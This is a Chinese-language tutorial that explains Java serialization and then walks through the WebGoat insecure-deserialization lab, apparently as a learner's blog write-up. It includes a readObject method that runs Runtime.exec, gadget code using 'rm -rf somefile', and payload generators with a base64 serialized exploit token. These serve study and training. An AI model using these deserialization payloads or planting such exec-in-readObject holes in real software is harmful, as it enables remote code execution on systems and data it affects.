前言:
注意:
初识 Java序列化和反序列化:
1.概念:
2. 好处:
3.序列化和反序列化的过程举例:
参考https://www.cnblogs.com/LoYoHo00/articles/17654380.html
类文件 Person.java
package lemo;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "src.Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
序列化文件:SerializationTest.java
package lemo;
import java.io.FileOutputStream;//文件输出流
import java.io.IOException;//用于声明可能会抛出IOException的方法。当一个方法可能会引发输入/输出异常时,可以使用throws IOException来通知调用该方法的其他部分,让它们做出相应的异常处理。
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;//将对象以二进制形式写入输出流。它可以将对象序列化成字节流,用于在网络中传输或保存到文件中。
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
oos.writeObject(obj);//序列化
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
反序列化文件:UnserializeTest.java
package lemo;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);//反序列化
}
}
我们运行SerializationTest.java得到
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
oos.writeObject(obj);//序列化
我们运行UnserializationTest.java得到
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
readObject()
方法被调用,它从输入流中读取字节并将其反序列化为对象
注意:
1.静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。
2.transient 标识的对象成员变量不参与序列化
举例:
将 Person.java中的name
加上transient
的类型标识
加完之后再跑我们的序列化与反序列化的两个程序运行得到 发现
name打印为NULL 是因为transient 标识的对象成员变量不参与序列化
初始反序列化漏洞
序列化和反序列化中有两个重要的方法————writeObject和readObject
上面举例也是使用这两个方法
1.可能存在漏洞的场景
(1)入口类的readObject直接调用危险方法
我们只需在Person.java里面添加一个触发计算器的代码:
package src;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "src.Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();//调用默认机制,以恢复对象的非静态和非瞬态(非 transient 修饰)字段
Runtime.getRuntime().exec("calc");//在操作系统上执行外部命令。
}
}
先后运行序列化 和反序列化代码就会发现弹出了计算器
(2)入口参数中包含可控类,该类有危险方法,readObject时调用
(3)入口参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4)构造函数/静态代码块等加载时隐式执行
2.Webgoat说明
ClassPath 中包含的类
攻击者需要在类路径中找到支持序列化且具有危险实现的类。readObject()
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 1;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();
//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}
利用:
如果存在上面显示的 java 类,攻击者可以序列化该对象并获取远程代码执行。
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
原理跟上边那个差不多
3.Webgoat靶场实战
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l
我们输入aa试试然后抓包可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java
得到InsecureDeserializationTask.java源码
package org.owasp.webgoat.deserialization;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.io.*;
import java.util.Base64;
@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {
return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}
后端拿到我们的token之后进行了一个特殊符号替换,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例。
那我们就重点关注VulnerableTaskHolder类的实现:
源码:
package org.dummy.insecure.framework;
import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;
import lombok.extern.slf4j.Slf4j;
@Slf4j
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}
关注readObject方法
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的
然后关注发现这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间
所以我们只需关注 taskAction变量
然后根据上面的漏洞利用进行构造paylaod
注意两点:
我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class VulnerableTaskHolder {
static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){
}
}
}
或者使用ping
package org.dummy.insecure.framework;
import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskAction;
public VulnerableTaskHolder(String taskAction) {
this.taskAction = taskAction;
}
public static void main(String[] args) throws IOException {
VulnerableTaskHolder vuln = new VulnerableTaskHolder("ping 1 -n 6");
ByteArrayOutputStream bOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(bOut);
objOut.writeObject(vuln);
String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
System.out.println(str);
objOut.close();
}
}
生成
rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==
提交成功
如何发现漏洞
参考https://www.cnblogs.com/yokan/p/15232644.html
其他反序列化漏洞
Apache Shiro 反序列化漏洞
后面再学吧 可参考
https://cloud.tencent.com/developer/article/2396001
fastjson 漏洞
一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户
这个当然还有其他的后面再深入了解了解